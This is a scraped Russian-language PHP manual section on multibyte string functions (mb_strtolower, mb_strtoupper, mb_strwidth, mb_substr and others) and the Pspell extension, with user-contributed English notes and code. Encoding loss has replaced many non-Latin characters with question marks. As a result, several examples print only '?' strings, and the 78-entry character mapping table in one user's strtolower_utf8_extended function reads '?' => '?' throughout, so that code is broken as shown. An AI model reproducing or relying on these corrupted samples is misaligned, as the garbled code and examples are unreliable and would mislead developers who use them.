  • Функции для работы с многобайтовыми строками
  • Приведение строки к нижнему регистру

mb_strtolower

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mb_strtolower — Приведение строки к нижнему регистру

Описание

mb_strtolower(string $string, ?string $encoding = null): string

Возвращает строку string, буквенные символы в которой приведены к нижнему регистру.

Список параметров

string

Исходная строка (string).

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

string, буквы в которой приведены к нижнему регистру.

Примеры

Пример #1 Пример использования mb_strtolower()

<?php
$str = "У Мэри Был Маленький Ягнёнок и Она Его Очень ЛЮБИЛА";
$str = mb_strtolower($str);
echo $str; // Выведет у мэри был маленький ягнёнок и она его очень любила
?>

Пример #2 Пример использования mb_strtolower() с нелатинскими буквами

<?php
$str = "??????? ?????? ????? ?????? ??, ??????????? ???? ?????? ?????";
$str = mb_strtolower($str, 'UTF-8');
echo $str; // Выведет ??????? ?????? ????? ?????? ??, ??????????? ???? ?????? ?????
?>

Примечания

В отличие от strtolower(), то, что символ является буквой, определяется на основании свойств символа Юникода. Таким образом, на поведение функции не влияют региональные настройки системы, а также функция может преобразовывать символы, имеющие буквенные особенности, такие как а-умляут (a).

За дополнительной информацией о свойствах Юникода обращайтесь в » http://www.unicode.org/reports/tr21/.

Смотрите также

  • mb_strtoupper() - Приведение строки к верхнему регистру
  • mb_convert_case() - Производит смену регистра символов в строке
  • strtolower() - Преобразует строку в нижний регистр

User Contributed Notes

Ukio 25-Nov-2015 09:32
Maybe it help someone.
Make up case with first char, low case for other.

<?php
function str_split_unicode($str, $l = 0) {
    if ($l > 0) {
        $ret = array();
        $len = mb_strlen($str, "UTF-8");
        for ($i = 0; $i < $len; $i += $l) {
            $ret[] = mb_substr($str, $i, $l, "UTF-8");
        }
        return $ret;
    }
    return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}

function ToCorrectCase($str){

    $str = mb_strtolower($str);
    $str_array = str_split_unicode($str);
    $str_array[0] = mb_strtoupper($str_array[0]);
    $str = '';
    foreach ($str_array as $key){
        $str = $str.$key;
    }
    return $str;
}
?>
fisharebest at gmail dot com 18-Apr-2012 04:27
There is not a one-to-one correspondence between upper and lower case letters.

Turkish is a good example of this.  In Turkish, the letter I/i has a dotted-upper-case form (I) and a dotless-lower-case form (?).

https://en.wikipedia.org/wiki/Dotted_and_dotless_I

This means that you cannot correctly convert between upper-case and lower-case without also knowing the locale of the data.

Since the function does not let you specify a locale, you should only use this function for text written in languages that follow the same orthography as English.

Although it does handle some digraphs, such as the Dutch ij (?), it does not handle others, such as the Polish dz (?).
akniep at linklift dot net 12-Sep-2011 08:42
Please, note that when using with UTF-8 mb_strtolower will only convert upper case characters to lower case which are marked with the Unicode property "Upper case letter" ("Lu"). However, there are also letters such as "Letter numbers" (Unicode property "Nl") that also have lower case and upper case variants. These characters will not be converted be mb_strtolower!

Example:
The Roman letters ?, ?, ?, ..., ? (UTF-8 code points 8544 through 8559) also exist in their respective lower case variants ?, ?, ?, ..., ? (UTF-8 code points 8560 through 8575) and should, in my opinion, also be converted by mb_strtolower, but they are not!

Big internet-companies (like Google) do match both variants as semantically equal (since the representations only differ in case).

Since I was not finding any proper solution in the internet on how to map all UTF8-strings to their lowercase counterpart in PHP, I offer the following hard-coded extended mb_strtolower function for UTF-8 strings:

The function wraps the existing function mb_strtolower() and additionally replaces uppercase UTF8-characters for which there is a lowercase representation. Since there is no proper Unicode uppercase and lowercase character-table in the internet that I was able to find, I checked the first million UTF8-characters against the Google-search and -KeywordTool and identified the following 78 characters as uppercase-characters, not being replaced by mb_strtolower, but having a UTF8 lowercase counterpart.

<?php

//the numbers in the in-line-comments display the characters' Unicode code-points (CP).
function strtolower_utf8_extended( $utf8_string )
{
    $additional_replacements    = array
        ( "?"    => "?"        //   453 ->   454
        , "?"    => "?"        //   456 ->   457
        , "?"    => "?"        //   459 ->   460
        , "?"    => "?"        //   498 ->   499
        , "?"    => "?"        //  1015 ->  1016
        , "?"    => "?"        //  1017 ->  1010
        , "?"    => "?"        //  1018 ->  1019
        , "?"    => "?"        //  8072 ->  8064
        , "?"    => "?"        //  8073 ->  8065
        , "?"    => "?"        //  8074 ->  8066
        , "?"    => "?"        //  8075 ->  8067
        , "?"    => "?"        //  8076 ->  8068
        , "?"    => "?"        //  8077 ->  8069
        , "?"    => "?"        //  8078 ->  8070
        , "?"    => "?"        //  8079 ->  8071
        , "?"    => "?"        //  8088 ->  8080
        , "?"    => "?"        //  8089 ->  8081
        , "?"    => "?"        //  8090 ->  8082
        , "?"    => "?"        //  8091 ->  8083
        , "?"    => "?"        //  8092 ->  8084
        , "?"    => "?"        //  8093 ->  8085
        , "?"    => "?"        //  8094 ->  8086
        , "?"    => "?"        //  8095 ->  8087
        , "?"    => "?"        //  8104 ->  8096
        , "?"    => "?"        //  8105 ->  8097
        , "?"    => "?"        //  8106 ->  8098
        , "?"    => "?"        //  8107 ->  8099
        , "?"    => "?"        //  8108 ->  8100
        , "?"    => "?"        //  8109 ->  8101
        , "?"    => "?"        //  8110 ->  8102
        , "?"    => "?"        //  8111 ->  8103
        , "?"    => "?"        //  8124 ->  8115
        , "?"    => "?"        //  8140 ->  8131
        , "?"    => "?"        //  8188 ->  8179
        , "?"    => "?"        //  8544 ->  8560
        , "?"    => "?"        //  8545 ->  8561
        , "?"    => "?"        //  8546 ->  8562
        , "?"    => "?"        //  8547 ->  8563
        , "?"    => "?"        //  8548 ->  8564
        , "?"    => "?"        //  8549 ->  8565
        , "?"    => "?"        //  8550 ->  8566
        , "?"    => "?"        //  8551 ->  8567
        , "?"    => "?"        //  8552 ->  8568
        , "?"    => "?"        //  8553 ->  8569
        , "?"    => "?"        //  8554 ->  8570
        , "?"    => "?"        //  8555 ->  8571
        , "?"    => "?"        //  8556 ->  8572
        , "?"    => "?"        //  8557 ->  8573
        , "?"    => "?"        //  8558 ->  8574
        , "?"    => "?"        //  8559 ->  8575
        , "?"    => "?"        //  9398 ->  9424
        , "?"    => "?"        //  9399 ->  9425
        , "?"    => "?"        //  9400 ->  9426
        , "?"    => "?"        //  9401 ->  9427
        , "?"    => "?"        //  9402 ->  9428
        , "?"    => "?"        //  9403 ->  9429
        , "?"    => "?"        //  9404 ->  9430
        , "?"    => "?"        //  9405 ->  9431
        , "?"    => "?"        //  9406 ->  9432
        , "?"    => "?"        //  9407 ->  9433
        , "?"    => "?"        //  9408 ->  9434
        , "?"    => "?"        //  9409 ->  9435
        , "?"    => "?"        //  9410 ->  9436
        , "?"    => "?"        //  9411 ->  9437
        , "?"    => "?"        //  9412 ->  9438
        , "?"    => "?"        //  9413 ->  9439
        , "?"    => "?"        //  9414 ->  9440
        , "?"    => "?"        //  9415 ->  9441
        , "?"    => "?"        //  9416 ->  9442
        , "?"    => "?"        //  9417 ->  9443
        , "?"    => "?"        //  9418 ->  9444
        , "?"    => "?"        //  9419 ->  9445
        , "?"    => "?"        //  9420 ->  9446
        , "?"    => "?"        //  9421 ->  9447
        , "?"    => "?"        //  9422 ->  9448
        , "?"    => "?"        //  9423 ->  9449
        , "??"    => "??"        // 66598 -> 66638
        , "??"    => "??"        // 66599 -> 66639
        );

    $utf8_string    = mb_strtolower( $utf8_string, "UTF-8");

    $utf8_string    = strtr( $utf8_string, $additional_replacements );

    return $utf8_string;
} //strtolower_utf8_extended()

?>
Ken Shiro 31-Jul-2010 02:07
[If you get this error:]
Fatal error: Call to undefined function: mb_strtolower() in ????.php on line ??

The PHP mbstring extension, which is required to handle international character sets, is not available on your server. Check your PHP configuration and make sure that PHP has been compiled with --enable-mbstring.

It's also apply to
Call to undefined function mb_eregi() / mb_strtolower()
Philipp H 01-Nov-2007 10:11
Note that mb_strtolower() is very SLOW, if you have a database connection, you may want to use it to convert your strings to lower case. Even latin1/9 (iso-8859-1/15) and other encodings are possible.

Have a look at my simple benchmark:

<?php

$text = "Lorem ip?um dolor ?it amet, con?ectetuer adipi?cing elit. Sed ligula. Prae?ent ju?to tellu?, gravida eu, tempu? a, matti? non, orci. Nam qui? lorem. Nam aliquet elit ?ed elit. Pha?ellu? venenati? ju?to eget enim. Donec ni?l. Proin matti? venenati? ju?to. Sed aliquam porta orci. Cra? elit ni?l, convalli? qui?, tincidunt at, vehicula accum?an, odio. Sed mole?tie. Etiam molli? feugiat elit. Ve?tibulum ante ip?um primi? in faucibu? orci luctu? et ultrice? po?uere cubilia Curae; Maecena? non nulla.";

// mb_strtolower()
$timeMB = microtime(true);

    for($i=0;$i<30000;$i++)
        $lower = mb_strtolower("$text/no-cache-$i");

$timeMB = microtime(true) - $timeMB;

// MySQL lower()
$timeSQL = microtime(true);

    mysql_query("set names latin1");
    for($i=0;$i<30000;$i++) {
        $r = mysql_fetch_row(mysql_query("select lower('$text/no-cache-$i')"));
        $lower = $r[0];
    }

$timeSQL = microtime(true) - $timeSQL;

echo "mb: ".sprintf("%.5f",$timeMB)." sek.<br />";
echo "sql: ".sprintf("%.5f",$timeSQL)." sek.<br />";

// Result on my notebook:
// mb: 11.50642 sek.
// sql: 5.44143 sek.

?>
btherl at yahoo dot com dot au 15-Nov-2005 09:12
If you use this function on a unicode string without telling PHP that it is unicode, then you will corrupt your string.  In particular, the uppercase 'A' with tilde, common in 2-byte UTF-8 characters, is converted to lowercase 'a' with tilde.

This can be handled correctly by:
$str = mb_strtolower($str, mb_detect_encoding($str));

Or if you know your data is UTF-8, just use the string "UTF-8" as the second argument.

You should check also that mb_detect_encoding() is checking the encodings you want it to check, and is detecting the correct encodings.


Приведение строки к верхнему регистру

  • « mb_strtolower
  • mb_strwidth »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Приведение строки к верхнему регистру

mb_strtoupper

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mb_strtoupper — Приведение строки к верхнему регистру

Описание

mb_strtoupper(string $string, ?string $encoding = null): string

Возвращает строку string, буквенные символы в которой приведены к верхнему регистру.

Список параметров

string

Исходная строка (string).

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

string, буквы в которой приведены к верхнему регистру.

Примеры

Пример #1 Пример использования mb_strtoupper()

<?php
$str = "У Мэри Был Маленький Ягнёнок и Она Его Очень ЛЮБИЛА";
$str = mb_strtoupper($str);
echo $str; // Выведет У МЭРИ БЫЛ МАЛЕНЬКИЙ ЯГНЕНОК И ОНА ЕГО ОЧЕНЬ ЛЮБИЛА
?>

Пример #2 Пример использования mb_strtoupper() с нелатинскими буквами

<?php
$str = "??????? ?????? ????? ?????? ??, ??????????? ???? ?????? ?????";
$str = mb_strtoupper($str, 'UTF-8');
echo $str; // Выведет ??????? ?????? ????? ?????? ??, ??????????? ???? ?????? ?????
?>

Примечания

В отличие от strtoupper(), то, что символ является буквой, определяется на основании свойств символа Юникода. Таким образом, на поведение функции не влияют региональные настройки системы, а также функция может преобразовывать символы, имеющие буквенные особенности, такие как а-умляут (a).

За дополнительной информацией о свойствах Юникода обращайтесь в » http://www.unicode.org/reports/tr21/.

Смотрите также

  • mb_strtolower() - Приведение строки к нижнему регистру
  • mb_convert_case() - Производит смену регистра символов в строке
  • strtoupper() - Преобразует строку в верхний регистр

User Contributed Notes

serg_x 30-Sep-2019 04:28
Only first letter

function mb_ucfirst($string, $encoding = 'UTF-8'){
  $strlen = mb_strlen($string, $encoding);
  $firstChar = mb_substr($string, 0, 1, $encoding);
  $then = mb_substr($string, 1, $strlen - 1, $encoding);
  return mb_strtoupper($firstChar, $encoding) . $then;
}


Возвращает ширину строки

  • « mb_strtoupper
  • mb_substitute_character »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Возвращает ширину строки

mb_strwidth

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strwidth — Возвращает ширину строки

Описание

mb_strwidth(string $string, ?string $encoding = null): int

Возвращает ширину строки (string) string, где символы половинной ширины считаются 1, а символы полной ширины считаются 2. Смотрите » http://www.unicode.org/reports/tr11/ для получения подробной информации о ширине символов Восточной Азии.

Символы полной ширины: U+1100-U+115F, U+11A3-U+11A7, U+11FA-U+11FF, U+2329-U+232A, U+2E80-U+2E99, U+2E9B-U+2EF3, U+2F00-U+2FD5, U+2FF0-U+2FFB, U+3000-U+303E, U+3041-U+3096, U+3099-U+30FF, U+3105-U+312D, U+3131-U+318E, U+3190-U+31BA, U+31C0-U+31E3, U+31F0-U+321E, U+3220-U+3247, U+3250-U+32FE, U+3300-U+4DBF, U+4E00-U+A48C, U+A490-U+A4C6, U+A960-U+A97C, U+AC00-U+D7A3, U+D7B0-U+D7C6, U+D7CB-U+D7FB, U+F900-U+FAFF, U+FE10-U+FE19, U+FE30-U+FE52, U+FE54-U+FE66, U+FE68-U+FE6B, U+FF01-U+FF60, U+FFE0-U+FFE6, U+1B000-U+1B001, U+1F200-U+1F202, U+1F210-U+1F23A, U+1F240-U+1F248, U+1F250-U+1F251, U+20000-U+2FFFD, U+30000-U+3FFFD. Все остальные символы относятся к символам полуширины.

Список параметров

string

Исходная строка (string).

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

Ширина строки (string) string.

Список изменений

Версия | Описание
8.0.0 | Теперь параметр encoding может принимать значение null.

Примеры

Пример #1 Пример использования mb_strwidth()

<?php
var_dump(
mb_strwidth('a'), // латинская строчная буква а
mb_strwidth("\u{ff41}") // латинская строчная буква а полной ширины
);
?>

Результат выполнения данного примера:

int(1)
int(2)

Смотрите также

  • mb_strimwidth() - Получает строку, обрезанную до заданной ширины
  • mb_internal_encoding() - Установка/получение внутренней кодировки скрипта

User Contributed Notes

Adam Altman 15-Jan-2014 03:51
Important, if you're looking to trim/cut/truncate a string so that it will fit a certain byte size (for example to fit in a database field), look at:  mb_strcut()
Anonymous 31-Oct-2007 04:27
Note: mb_strwidth is NOT returning bytes.  It's returning the width of monotype characters.  (In some languages, some characters will take up 2 character widths if displayed in monotype.)


Установить/получить символ замены

  • « mb_strwidth
  • mb_substr_count »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Установить/получить символ замены

mb_substitute_character

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_substitute_character — Установить/получить символ замены

Описание

mb_substitute_character(string|int|null $substitute_character = null): string|int|bool

Задаёт замещающий символ на случай, когда кодировка входных данных задана неверно или код символа не существует в кодировке выходных данных. Недопустимые символы могут быть заменены на "none" (нет вывода), строку (string) или числовое значение (int) (код символа Юникода).

Эта настройка влияет на поведение следующих функций:
mb_convert_encoding(),
mb_convert_variables(),
mb_output_handler(),
и mb_send_mail().

Список параметров

substitute_character

Задаёт значение Юникода в виде числа (int) или одной из следующих строк string:

  • "none" : нет вывода
  • "long" : код конечного (в выходной кодировке) символа (Пример: U+3000, JIS+7E7E)
  • "entity" : сущность конечного (в выходной кодировке) символа (Пример: &#x200;)

Возвращаемые значения

Если аргумент substitute_character задан, функция вернёт true в случае успешного выполнения, false в противном случае. Если substitute_character не задан, будет возвращена текущая настройка.

Список изменений

Версия | Описание
8.0.0 | Передача пустой строки в substitute_character больше не поддерживается; вместо этого используйте "none".
8.0.0 | Теперь параметр encoding может принимать значение null.

Примеры

Пример #1 Пример использования mb_substitute_character()

<?php
/* Установка замещающего символа Unicode U+3013 (GETA MARK) */
mb_substitute_character(0x3013);

/* Задаём шестнадцатеричный формат */
mb_substitute_character("long");

/* Отображение текущей настройки */
echo mb_substitute_character();
?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество вхождений подстроки

  • « mb_substitute_character
  • mb_substr »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Возвращает количество вхождений подстроки

mb_substr_count

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mb_substr_count — Возвращает количество вхождений подстроки

Описание

mb_substr_count(string $haystack, string $needle, ?string $encoding = null): int

Подсчитывает, сколько раз подстрока needle встречается в строке haystack.

Список параметров

haystack

Строка (string) для проверки

needle

Строка (string) для поиска

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

Количество вхождений подстроки needle в строку haystack.

Список изменений

Версия | Описание
8.0.0 | Теперь параметр encoding может принимать значение null.

Примеры

Пример #1 Пример использования mb_substr_count()

<?php
echo mb_substr_count("Это просто проверка", "то"); // выведет на экран 2
?>

Смотрите также

  • mb_strpos() - Поиск позиции первого вхождения одной строки в другую
  • mb_substr() - Возвращает часть строки
  • substr_count() - Возвращает число вхождений подстроки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает часть строки

  • « mb_substr_count
  • Pspell »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Возвращает часть строки

mb_substr

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_substr — Возвращает часть строки

Описание

mb_substr(
string $string,
int $start,
?int $length = null,
?string $encoding = null
): string

Корректно выполняет substr() для многобайтовых кодировок, учитывая количество символов. Позиция отсчитывается от начала string. Позиция первого символа - 0, второго - 1 и т.д.

Список параметров

string

Исходная строка для получения подстроки.

start

Если start неотрицательный, возвращённая строка начнётся с позиции start от начала строки string, начальный символ имеет индекс 0. К примеру, в строке 'abcdef', символ в позиции 0 - это 'a', символ в позиции 2 - 'c' и т.д.

Если start отрицательный, возвращаемая строка начнётся отсчитывая start символов с конца string.

length

Максимальное количество символов возвращаемой из string подстроки. Если не указан или равен NULL - извлекаются все символы до конца строки.

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

mb_substr() возвращает часть строки string, заданную параметрами start и length.

Список изменений

Версия | Описание
8.0.0 | Теперь параметр encoding может принимать значение null.

Смотрите также

  • mb_strcut() - Получение части строки
  • mb_internal_encoding() - Установка/получение внутренней кодировки скрипта

User Contributed Notes

qdinar at gmail dot com 27-Jun-2016 04:06
you can make mb_substr working faster with long strings with usage of ucs-2 encoding.

<?php

header('Content-Type: text/html; CHARSET=Windows-1251');
echo '<meta http-equiv="Content-Type" content="text/html; CHARSET=Windows-1251" >';

function test($string, $encoding='utf8'){
    $t1=microtime(true);
    $textlen=mb_strlen($string);
    $substr_len=3;
    for($i=0;$i<$textlen-$substr_len+1;$i++){
        $substr=mb_substr($string,$i,$substr_len);
    }
    echo 'mb_substr, '.$encoding.': '.(microtime(true)-$t1);
    echo ' . check: ';
    if($encoding=='ucs2'){
        $substr=mb_convert_encoding($substr,'utf-8','ucs2');
    }
    var_dump( $substr );
    echo ' . <br>';
    echo '<br>';
}

$corpus_short=str_repeat('тест Тест ',1000);
// it works likewise slowly with "test Test" with utf8
mb_internal_encoding('utf-8');
test($corpus_short);

$corpus_short_ucs2=mb_convert_encoding($corpus_short,'ucs2','utf-8');
mb_internal_encoding('ucs2');
test($corpus_short_ucs2,'ucs2');

?>

output:

mb_substr, utf8: 0.26480984687805 . check: string(5) "ст " .

mb_substr, ucs2: 0.0048871040344238 . check: string(5) "ст " .
qbolec at gmail dot com 05-Aug-2015 03:10
As you often need to iterate over UTF-8 characters inside a string, you might be tempted to use mb_substr($text,$i,1).
The problem with this is that there is no "magic" way to find $i-th character inside UTF-8 string, other than reading it byte by byte from the begining. Thus a loop which calls mb_substr($text,$i,1) N times for all possible N values of $i, will take much longer than expected. The larger the $i gets, the longer is the search for $i-th letter. As characters are between 1 to 6 bytes long, one can convince oneself, that the execution time of such loop is actually Theta(N^2), which can be really slow even for moderately long texts.
One way to work around it is to first split your text into an array of letters using some smart preprocessing, and only then iterate over the array.
Here is the idea:
<?php
class Strings
{
  public static function len($a){
    return mb_strlen($a,'UTF-8');
  }
  public static function charAt($a,$i){
    return self::substr($a,$i,1);
  }
  public static function substr($a,$x,$y=null){
    if($y===NULL){
      $y=self::len($a);
    }
    return mb_substr($a,$x,$y,'UTF-8');
  }
  public static function letters($a){
    $len = self::len($a);
    if($len==0){
      return array();
    }else if($len == 1){
      return array($a);
    }else{
      return Arrays::concat(
        self::letters(self::substr($a,0,$len>>1)),
        self::letters(self::substr($a,$len>>1))
      );
    }
  }
?>
As you can see, the Strings::letters($text) split the text recursively into two parts. Each level of the recursion requires time linear in the length of the string, and there is logarithmic number of levels, so the total runtime is O(N log N), which is still more than theoretically optimal O(N), but sadly this is the best idea I've got.
sanjuro at 1up-games dot com 27-Sep-2013 06:18
A serious pitfall when using mb_substr() set to HTML-ENTITIES encoding is that the function performs a number of conversions before returning the value, the worst one being that html special characters are not just counted but decoded.

<?php

mb_internal_encoding("ISO-8859-1"); echo mb_internal_encoding(),"\n<br><br>\n";

$a='j&uuml;st &#228; &quot; simple &quot; &#26085;&#26412; &lt;b&gt;test&lt;/b&gt;';

echo mb_substr($a,0),"\n<br><br>\n";
// page source: j&uuml;st &#228; &quot; simple &quot; &#26085;&#26412; &lt;b&gt;test&lt;/b&gt;

echo mb_substr($a,0,strlen($a),'HTML-ENTITIES');
// page source: j&uuml;st &auml; " simple " &#26085;&#26412; <b>test</b>

?>
desmatic at gmail dot com 29-Apr-2013 03:51
quick and dirty loop through multibyte string
<?php
function get_character_classes($string, $encoding = "UTF-8") {
    $current_encoding = mb_internal_encoding();
    mb_internal_encoding($encoding);
    $has = array();
    $stringlength = mb_strlen($string, $encoding);
    for ($i=0; $i < $stringlength; $i++) {
        $c = mb_substr($string, $i, 1);
        if (($c >= "0") && ($c <= "9")) {
            $has['numeric'] = "numeric";
        } else if (($c >= "a") && ($c <= "z")) {
            $has['alpha'] = "alpha";
            $has['alphalower'] = 'alphalower';
        } else if (($c >= "A") && ($c <= "Z")) {
            $has['alpha'] = "alpha";
            $has['alphaupper'] = "alphaupper";
        } else if (($c == "$") || ($c == "?")) {
            $has['currency'] = "currency";
        } else if (($c == ".") && ($has['decimal'])) {
            $has['decimals'] = "decimals";
        } else if ($c == ".") {
            $has['decimal'] = "decimal";
        } else if ($c == ",") {
            $has['comma'] = "comma";
        } else if ($c == "-") {
            $has['dash'] = "dash";
        } else if ($c == " ") {
            $has['space'] = "space";
        } else if ($c == "/") {
            $has['slash'] = "slash";
        } else if ($c == ":") {
            $has['colon'] = "colon";
        } else if (($c >= " ") && ($c <= "~")) {
            $has['ascii'] = "ascii";
        } else {
            $has['binary'] = "binary";
        }
    }
    mb_internal_encoding($current_encoding);

    return $has;
}

$string = "1234asdfA?^_{}|}~zscr";
echo print_r(get_character_classes($string), true);
?>

Array
(
    [numeric] => numeric
    [alpha] => alpha
    [alphalower] => alphalower
    [alphaupper] => alphaupper
    [currency] => currency
    [ascii] => ascii
    [binary] => binary
)
p dot assenov at aip-solutions dot com 02-Dec-2011 09:17
I'm trying to capitalize only the first character of the string and tried some of the examples above but they didn't work. It seems mb_substr() cannot calculate the length of the string in multi-byte encoding (UTF-8) and it should be set explicitly. Here is the corrected version:

<?php
function mb_ucfirst($str, $enc = 'utf-8') {
    return mb_strtoupper(mb_substr($str, 0, 1, $enc), $enc).mb_substr($str, 1, mb_strlen($str, $enc), $enc);
}
?>

cheers!
projektas at gmail dot com 21-Oct-2008 06:29
First letter in upper case <hr />

<?php
header ('Content-type: text/html; CHARSET=Windows-1251');

if (isset($_POST['check']) && !empty($_POST['check'])) {
    echo htmlspecialchars(ucfirst_utf8($_POST['check']));
} else {
    echo htmlspecialchars(ucfirst_utf8('Zasinu'));
}

function ucfirst_utf8($str) {
    if (mb_check_encoding($str,'UTF-8')) {
        $first = mb_substr(
            mb_strtoupper($str, "utf-8"),0,1,'utf-8'
        );
        return $first.mb_substr(
            mb_strtolower($str,"utf-8"),1,mb_strlen($str),'utf-8'
        );
    } else {
        return $str;
    }
}
?>

<form method="post" action="" >
    <input type="input" name="check" />
    <input type="submit" />
</form>
xiaogil at yahoo dot fr 02-Aug-2005 08:33
Thanks Darien from /freenode #php for the following example (a little bit changed).

It just prints the 6th character of $string.
You can replace the digits by the same in japanese, chinese or whatever language to make a test, it works perfect.

<?php
mb_internal_encoding("UTF-8");
$string = "0123456789";
$mystring = mb_substr($string,5,1);
echo $mystring;
?>

(I couldn't replace 0123456789 by chinese numbers for example here, because it's automatically converted into latin digits on this website, look :
&#38646;&#19968;&#20108;&#19977;&#22235;
&#20116;&#20845;&#19971;&#20843;&#20061;)

gilv
drraf at tlen dot pl 23-Feb-2005 06:44
Note: If borders are out of string - mb_string() returns empty _string_, when function substr() returns _boolean_ false in this case.
Keep this in mind when using "===" comparisions.

Example code:
<?php

var_dump( substr( 'abc', 5, 2 ) ); // returns "false"
var_dump( mb_substr( 'abc', 5, 2 ) ); // returns ""

?>

It's especially confusing when using mbstring with function overloading turned on.


Pspell

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции Pspell
    • pspell_add_to_personal — Добавляет слово в персональный список слов
    • pspell_add_to_session — Добавляет слово в список слов в текущей сессии
    • pspell_check — Проверяет слово
    • pspell_clear_session — Очищает текущую сессию
    • pspell_config_create — Создаёт конфигурацию, используемую для открытия словаря
    • pspell_config_data_dir — Расположение файлов с языковыми данными
    • pspell_config_dict_dir — Расположение основного списка слов
    • pspell_config_ignore — Игнорирует слова длиной менее N символов
    • pspell_config_mode — Изменяет режим количества возвращаемых вариантов исправления
    • pspell_config_personal — Устанавливает файл, содержащий персональный список слов
    • pspell_config_repl — Устанавливает файл, содержащий замещающие пары
    • pspell_config_runtogether — Рассматривает объединённые слова как правильные сложные слова
    • pspell_config_save_repl — Определяет, сохранять ли список замещающих пар вместе со списком слов
    • pspell_new_config — Загружает новый словарь с установками на основе заданной конфигурации
    • pspell_new_personal — Загружает новый словарь с персональным списком слов
    • pspell_new — Загружает новый словарь
    • pspell_save_wordlist — Сохраняет персональный список слов в файле
    • pspell_store_replacement — Сохраняет замещающую пару для слова
    • pspell_suggest — Предлагает варианты исправления слова
  • PSpell\Dictionary — Класс PSpell\Dictionary
  • PSpell\Config — Класс PSpell\Config

User Contributed Notes

Andreas 20-Sep-2013 07:38
I've checked sources of PHP versions 5.3.27 and 5.5.4

Both include pspell:
php-5.5.4/ext/pspell
php-5.3.27/ext/pspell

Nevertheless, if you use precompiled versions you may have a different impression (e.g. on Ubuntu you need to install the package php5-pspell).


Введение

Функции позволяют проверять правописание слова и предлагают варианты исправления.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для того, чтобы скомпилировать PHP с поддержкой apsell, вам нужна библиотека aspell, доступная по адресу » http://aspell.net/.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Если у вас есть требуемые библиотеки, нужно добавить опцию --with-pspell[=dir] при компиляции PHP.

Замечание: Примечание для пользователей Win32

Для работы этого модуля системной переменной Windows PATHдолжны быть доступны DLL-файлы. Чтобы узнать как этого достичь, обратитесь к разделу FAQ "Как добавить мою директорию с PHP в переменную Windows PATH". Хотя копирование DLL-файлов из директории PHP в системную папку Windows также решает проблему (потому что системная директория по умолчанию находится в переменной PATH), это не рекомендуется. Этому модулю требуются следующие файлы в переменной PATH: aspell-15.dll из директории bin каталога установки aspell.

Для поддержки Win32 требуется как минимум версия 0.50.

User Contributed Notes

chapman at wtinds dot com 11-Feb-2020 03:39
If you are compiling v7.3.x under CentOS 8, you will need to first enable PowerTools, then install aspell-devel - otherwise aspell-devel will not be available to you:

sudo dnf config-manager --set-enabled PowerTools
sudo dnf install -y aspell-devel

Then in your configure line, just use:

--with-pspell

NOT

--with-pspell=/some/dir
juliusdavies at gmail dot com 18-Mar-2009 04:06
Aspell + PHP + Windows was giving me just crazy crashes with this simple test file:

<?php
$pspell_link = pspell_new("en");
?>

Running "php -f test.php" directly from a DOS prompt shed some light:

----------------
The file "C:\Program Files\Aspell\data/iso8859-1.dat" can not be opened for reading.pell\dict/en-only.rws:
----------------

To fix it I needed to "dos2unix" all the files in Aspell's C:\Program Files\Aspell\data\ directory.  (Convert them from CRLF to just LF line endings).


Типы ресурсов

До PHP 8.1.0 в модуле использовалось два типа ресурсов. Первый - идентификатор ссылки словаря, второй - ресурс, содержащий конфигурацию pspell.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

PSPELL_FAST (int)
PSPELL_NORMAL (int)
PSPELL_BAD_SPELLERS (int)
PSPELL_RUN_TOGETHER (int)

User Contributed Notes

There are no user contributed notes for this page.


Функции Pspell

Содержание

  • pspell_add_to_personal — Добавляет слово в персональный список слов
  • pspell_add_to_session — Добавляет слово в список слов в текущей сессии
  • pspell_check — Проверяет слово
  • pspell_clear_session — Очищает текущую сессию
  • pspell_config_create — Создаёт конфигурацию, используемую для открытия словаря
  • pspell_config_data_dir — Расположение файлов с языковыми данными
  • pspell_config_dict_dir — Расположение основного списка слов
  • pspell_config_ignore — Игнорирует слова длиной менее N символов
  • pspell_config_mode — Изменяет режим количества возвращаемых вариантов исправления
  • pspell_config_personal — Устанавливает файл, содержащий персональный список слов
  • pspell_config_repl — Устанавливает файл, содержащий замещающие пары
  • pspell_config_runtogether — Рассматривает объединённые слова как правильные сложные слова
  • pspell_config_save_repl — Определяет, сохранять ли список замещающих пар вместе со списком слов
  • pspell_new_config — Загружает новый словарь с установками на основе заданной конфигурации
  • pspell_new_personal — Загружает новый словарь с персональным списком слов
  • pspell_new — Загружает новый словарь
  • pspell_save_wordlist — Сохраняет персональный список слов в файле
  • pspell_store_replacement — Сохраняет замещающую пару для слова
  • pspell_suggest — Предлагает варианты исправления слова

User Contributed Notes

golotyuk at gmail dot com 24-Dec-2009 01:40
Manuall php installation on Debian/Ubuntu will require you to:

